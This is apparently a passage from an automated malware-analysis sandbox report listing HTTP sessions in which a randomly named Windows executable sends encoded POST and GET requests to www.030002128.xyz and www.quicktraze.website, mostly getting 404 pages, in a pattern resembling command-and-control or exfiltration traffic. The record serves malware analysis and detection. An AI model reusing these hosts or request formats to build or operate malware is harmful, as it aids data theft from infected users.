00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED] Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z\|Q&8UjXB]O;g}\|5@Ro&i<b)~KmA5n)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V\|NRkPqcq?mDEN&BFtKGQ/xI %iO\|CqCJAtV"\|"@(3'!A>0HpL(pHP8G,$Qc
Dec 13, 2024 13:07:20.468355894 CET	370	IN	Data Raw: ee 1c 82 a8 28 61 4c 60 21 49 08 3e c9 90 08 3a ce 38 25 3e 8f 21 99 be 04 2b a0 46 10 06 01 f5 33 e1 dc 8e 80 cb 7c 12 87 01 06 8b 22 10 2e 9a 20 08 31 70 a5 f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0 Data Ascii: (aL`!I>:8%>!+F3\|". 1pwlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49774	161.97.142.144	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:07:21.900254965 CET	790	OUT	POST /fc2m/ HTTP/1.1 Host: www.030002128.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Origin: http://www.030002128.xyz Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 223 Referer: http://www.030002128.xyz/fc2m/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Data Raw: 39 42 5f 70 70 74 3d 48 59 75 67 61 49 58 6e 66 2b 50 39 38 6a 31 70 77 31 68 4f 69 6d 75 54 46 2b 50 74 4c 2b 4b 4e 64 4c 6e 79 34 45 49 66 48 70 32 68 43 50 71 6e 53 59 79 66 74 52 77 56 6e 2b 6e 7a 55 64 57 58 43 2f 67 32 6d 33 79 74 75 41 4c 53 62 63 6a 41 59 78 64 47 54 4d 4b 54 36 53 4f 61 4a 32 6e 53 6d 53 65 78 42 43 75 35 52 46 54 71 6c 54 43 4a 78 39 66 72 37 56 66 46 7a 44 37 67 30 50 47 38 61 48 70 59 78 38 64 65 6f 61 4b 48 4e 4d 49 75 72 76 4e 31 58 6d 4f 67 78 42 72 32 4e 39 79 71 49 42 51 73 42 6c 67 65 4d 5a 45 67 6f 45 45 75 50 4e 31 71 38 6d 78 66 72 57 61 2b 57 6a 53 71 43 79 35 33 34 57 6a 65 6b 2b 6f 6c 48 4d 55 33 63 41 61 4b 58 74 45 3d Data Ascii: 9B_ppt=HYugaIXnf+P98j1pw1hOimuTF+PtL+KNdLny4EIfHp2hCPqnSYyftRwVn+nzUdWXC/g2m3ytuALSbcjAYxdGTMKT6SOaJ2nSmSexBCu5RFTqlTCJx9fr7VfFzD7g0PG8aHpYx8deoaKHNMIurvN1XmOgxBr2N9yqIBQsBlgeMZEgoEEuPN1q8mxfrWa+WjSqCy534Wjek+olHMU3cAaKXtE=
Dec 13, 2024 13:07:23.137814999 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 13 Dec 2024 12:07:22 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"66cce1df-b96" Content-Encoding: gzip Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED] Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z\|Q&8UjXB]O;g}\|5@Ro&i<b)~KmA5n)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V\|NRkPqcq?mDEN&BFtKGQ/xI %iO\|CqCJAtV"\|"@(3'!A>0HpL(pHP8G,$Qc
Dec 13, 2024 13:07:23.137918949 CET	370	IN	Data Raw: ee 1c 82 a8 28 61 4c 60 21 49 08 3e c9 90 08 3a ce 38 25 3e 8f 21 99 be 04 2b a0 46 10 06 01 f5 33 e1 dc 8e 80 cb 7c 12 87 01 06 8b 22 10 2e 9a 20 08 31 70 a5 f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0 Data Ascii: (aL`!I>:8%>!+F3\|". 1pwlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49780	161.97.142.144	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:07:24.659626007 CET	10872	OUT	POST /fc2m/ HTTP/1.1 Host: www.030002128.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Origin: http://www.030002128.xyz Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 10303 Referer: http://www.030002128.xyz/fc2m/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Data Raw: 39 42 5f 70 70 74 3d 48 59 75 67 61 49 58 6e 66 2b 50 39 38 6a 31 70 77 31 68 4f 69 6d 75 54 46 2b 50 74 4c 2b 4b 4e 64 4c 6e 79 34 45 49 66 48 70 75 68 65 73 53 6e 64 5a 79 66 73 52 77 56 37 4f 6e 79 55 64 57 65 43 2f 59 79 6d 33 2b 39 75 43 7a 53 4a 71 33 41 4a 31 4a 47 4b 38 4b 54 2f 69 4f 48 4e 32 6e 48 6d 53 4f 31 42 44 65 35 52 46 54 71 6c 51 61 4a 32 73 66 72 35 56 66 47 69 44 36 68 77 50 47 59 61 48 77 74 78 38 59 72 72 71 71 48 4d 73 34 75 6d 39 6c 31 56 47 4f 69 39 68 71 72 4e 39 32 31 49 42 39 56 42 6c 38 30 4d 62 59 67 6b 46 68 4a 57 65 77 39 72 56 4a 39 7a 58 50 63 51 7a 47 31 50 53 64 57 38 53 53 48 32 64 30 77 4b 63 78 77 50 52 32 6f 56 59 36 70 6d 50 6a 35 56 7a 72 35 4f 6a 79 30 49 75 39 75 6c 4e 78 4c 58 47 2b 31 41 64 39 63 6f 6e 6d 37 35 35 64 53 72 35 5a 73 6d 37 33 73 74 64 75 50 2b 78 67 46 42 76 53 79 72 4a 38 36 6c 71 78 36 59 55 38 72 2f 4c 54 66 45 2f 2f 54 4a 69 64 36 47 74 66 54 6c 39 51 6f 68 42 36 61 4e 36 6c 42 53 76 52 43 78 74 59 46 30 77 36 6e 4d 53 37 53 53 4e 70 [TRUNCATED] Data Ascii: 9B_ppt=HYugaIXnf+P98j1pw1hOimuTF+PtL+KNdLny4EIfHpuhesSndZyfsRwV7OnyUdWeC/Yym3+9uCzSJq3AJ1JGK8KT/iOHN2nHmSO1BDe5RFTqlQaJ2sfr5VfGiD6hwPGYaHwtx8YrrqqHMs4um9l1VGOi9hqrN921IB9VBl80MbYgkFhJWew9rVJ9zXPcQzG1PSdW8SSH2d0wKcxwPR2oVY6pmPj5Vzr5Ojy0Iu9ulNxLXG+1Ad9conm755dSr5Zsm73stduP+xgFBvSyrJ86lqx6YU8r/LTfE//TJid6GtfTl9QohB6aN6lBSvRCxtYF0w6nMS7SSNpKVuZ+/ftKkPylHWkgOkPt5FV85PAdOa6Gi9EpBskpvDqSD77CIyth/w8gkhuGpyOlqJxP5D6JdZnvftAF0OX4x6KJHwPJnWZdSVfpWZYXlIz99eIV12gPUj2eNGTsw7YgR0RMmcQndmgEqPT5JY4VRXeSiOT7WbOPq2OmNms6T+wnCPvbLUxpGaRnIpYnsKodgFt/jgsc9jChusKYNSeq/WyGOF46NZ823Sz89rMGJfbzZau/cBq2teDH74xE6OO929+d2e3sLQrE9CQcsa5fLXjWDqYh4c3XxciBpH0uOZ0cPRnIH3zlkunRcmoiApE2PrvzqEn2Z39RZTLhfTGmpfupkEFgbaw8m0DwCdHEjHJipftBiKBEoidrI5cVwnA4jAGQ8INsplFwEnycqu7QY3bsUrhWbV3PGnuNp5U6T33by+TyjaHbLhuWuRoDHU8GfxEe8iHCdVXnaeF/sYYaTDn/2s5mZ4UGrmHzupdeknl8qwqZYkKTQ6568UxE7zvLSQB8vaX13g349Pxsr+Hw1MDNEEiJDEpAQX96LXbz1mdgz5aONTqxeuieGfsyY6wClAbImWP1/olWFMngUghyuAyKIdLQxEwtwrRuPAOCjn42ajb0X9NjcyztbNvJVGhBp5lFj+rgPJfOIHaczvmkT2J+Ft3CKrWTp [TRUNCATED]
Dec 13, 2024 13:07:25.936115980 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 13 Dec 2024 12:07:25 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"66cce1df-b96" Content-Encoding: gzip Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED] Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z\|Q&8UjXB]O;g}\|5@Ro&i<b)~KmA5n)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V\|NRkPqcq?mDEN&BFtKGQ/xI %iO\|CqCJAtV"\|"@(3'!A>0HpL(pHP8G,$Qc
Dec 13, 2024 13:07:25.936146975 CET	370	IN	Data Raw: ee 1c 82 a8 28 61 4c 60 21 49 08 3e c9 90 08 3a ce 38 25 3e 8f 21 99 be 04 2b a0 46 10 06 01 f5 33 e1 dc 8e 80 cb 7c 12 87 01 06 8b 22 10 2e 9a 20 08 31 70 a5 f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0 Data Ascii: (aL`!I>:8%>!+F3\|". 1pwlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49786	161.97.142.144	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:07:27.315848112 CET	512	OUT	GET /fc2m/?Sbv8I=RfPDYvIHtJXp8&9B_ppt=KaGAZ9vwQsncwU5nwlZluG2PCpLyPNSLaK7d9k0MP6z2D5ilW5umnwpx9tHUSLWoKaQi0X2AhHSzaYzkOXBuKcmexX+9MUXLmjX2PXKDTiDXtSOs+tfg8AM= HTTP/1.1 Host: www.030002128.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)
Dec 13, 2024 13:07:28.567853928 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 13 Dec 2024 12:07:28 GMT Content-Type: text/html; charset=utf-8 Content-Length: 2966 Connection: close Vary: Accept-Encoding ETag: "66cce1df-b96" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 6f 2c 20 22 48 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;color: #5d5d5d;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial,"Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol","Noto Color Emoji";text-shadow: 0px 1px 1px rgba(255, 255, 255, 0.75);text-align: center;}h1 {font-size: 2.45em;font-weight: 700;color: #5d5d5d;letter-spacing: -0.02em;margin-bottom: 30px;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;}.info {color: #5594cf;fill: #5594cf;}.error [TRUNCATED]
Dec 13, 2024 13:07:28.567878962 CET	1236	IN	Data Raw: 3b 0a 09 09 09 09 66 69 6c 6c 3a 20 23 63 39 32 31 32 37 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 77 61 72 6e 69 6e 67 20 7b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 66 66 63 63 33 33 3b 0a 09 09 09 09 66 69 6c 6c 3a 20 23 66 66 63 63 33 33 3b 0a 09 09 Data Ascii: ;fill: #c92127;}.warning {color: #ffcc33;fill: #ffcc33;}.success {color: #5aba47;fill: #5aba47;}.icon-large {height: 132px;width: 132px;}.description-text {color: #707
Dec 13, 2024 13:07:28.567894936 CET	698	IN	Data Raw: 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 36 2e 36 32 37 20 30 20 31 32 2d 35 2e 33 37 33 20 31 32 2d 31 32 76 2d 31 2e 33 33 33 63 30 2d 32 38 2e 34 36 32 20 38 33 2e Data Ascii: 941 216 296v4c0 6.627 5.373 12 12 12h56c6.627 0 12-5.373 12-12v-1.333c0-28.462 83.186-29.647 83.186-106.667 0-58.002-60.165-102-116.531-102zM256 338c-25.365 0-46 20.635-46 46 0 25.364 20.635 46 46 46s46-20.636 46-46c0-25.365-20.635-46-46-46z"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49802	209.74.64.58	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:07:34.109224081 CET	785	OUT	POST /0b3u/ HTTP/1.1 Host: www.quicktraze.website Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Origin: http://www.quicktraze.website Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 203 Referer: http://www.quicktraze.website/0b3u/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Data Raw: 39 42 5f 70 70 74 3d 67 55 39 73 56 6d 6d 56 77 55 41 48 36 35 79 32 35 44 69 77 2b 74 67 7a 50 44 4a 77 4b 4f 48 73 48 74 54 77 48 55 4f 51 4a 52 48 6b 54 5a 47 53 4e 67 61 50 51 35 43 76 70 35 48 6d 72 34 68 62 35 70 61 65 49 61 4c 79 5a 53 57 38 43 37 78 75 6d 4c 78 4a 6a 4b 56 41 39 4c 4e 54 2f 37 36 71 74 67 39 41 2f 4b 6f 74 5a 37 6b 32 42 56 4a 6b 37 44 42 46 4b 64 33 4a 67 54 66 6a 4d 56 33 66 7a 4f 54 44 43 64 54 36 37 55 35 6e 4f 4f 63 41 6d 63 50 38 46 39 44 42 59 48 44 72 65 79 58 56 6d 32 7a 62 71 6c 50 4e 70 64 59 4f 56 35 56 6d 39 32 79 59 34 63 78 77 36 74 6a 46 4b 66 47 4c 73 67 3d 3d Data Ascii: 9B_ppt=gU9sVmmVwUAH65y25Diw+tgzPDJwKOHsHtTwHUOQJRHkTZGSNgaPQ5Cvp5Hmr4hb5paeIaLyZSW8C7xumLxJjKVA9LNT/76qtg9A/KotZ7k2BVJk7DBFKd3JgTfjMV3fzOTDCdT67U5nOOcAmcP8F9DBYHDreyXVm2zbqlPNpdYOV5Vm92yY4cxw6tjFKfGLsg==
Dec 13, 2024 13:07:35.326441050 CET	533	IN	HTTP/1.1 404 Not Found Date: Fri, 13 Dec 2024 12:07:35 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49813	209.74.64.58	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:07:36.772923946 CET	805	OUT	POST /0b3u/ HTTP/1.1 Host: www.quicktraze.website Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Origin: http://www.quicktraze.website Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 223 Referer: http://www.quicktraze.website/0b3u/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Data Raw: 39 42 5f 70 70 74 3d 67 55 39 73 56 6d 6d 56 77 55 41 48 6f 4c 6d 32 2f 67 4b 77 34 4e 67 79 42 6a 4a 77 54 65 48 6f 48 74 58 77 48 58 44 4e 4f 6a 6a 6b 53 34 32 53 4d 69 79 50 54 35 43 76 69 5a 48 2f 31 49 68 4d 35 70 57 57 49 59 50 79 5a 55 36 38 43 37 42 75 6d 62 4e 4b 69 61 56 65 32 72 4e 52 37 37 36 71 74 67 39 41 2f 4b 38 48 5a 37 38 32 42 6c 35 6b 70 78 70 47 57 4e 33 4b 33 6a 66 6a 66 46 33 54 7a 4f 53 67 43 63 2f 55 37 58 52 6e 4f 4c 59 41 6d 4f 6e 39 4b 39 43 4b 56 6e 43 53 57 42 32 44 71 6b 36 31 6f 54 53 70 69 76 4d 4a 51 2f 59 38 73 48 54 50 71 63 56 44 6e 71 71 78 48 63 37 43 33 73 6c 69 35 41 74 7a 4a 6d 4a 54 67 4d 50 64 62 54 6b 4c 68 34 4d 3d Data Ascii: 9B_ppt=gU9sVmmVwUAHoLm2/gKw4NgyBjJwTeHoHtXwHXDNOjjkS42SMiyPT5CviZH/1IhM5pWWIYPyZU68C7BumbNKiaVe2rNR776qtg9A/K8HZ782Bl5kpxpGWN3K3jfjfF3TzOSgCc/U7XRnOLYAmOn9K9CKVnCSWB2Dqk61oTSpivMJQ/Y8sHTPqcVDnqqxHc7C3sli5AtzJmJTgMPdbTkLh4M=
Dec 13, 2024 13:07:38.014288902 CET	533	IN	HTTP/1.1 404 Not Found Date: Fri, 13 Dec 2024 12:07:37 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49819	209.74.64.58	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
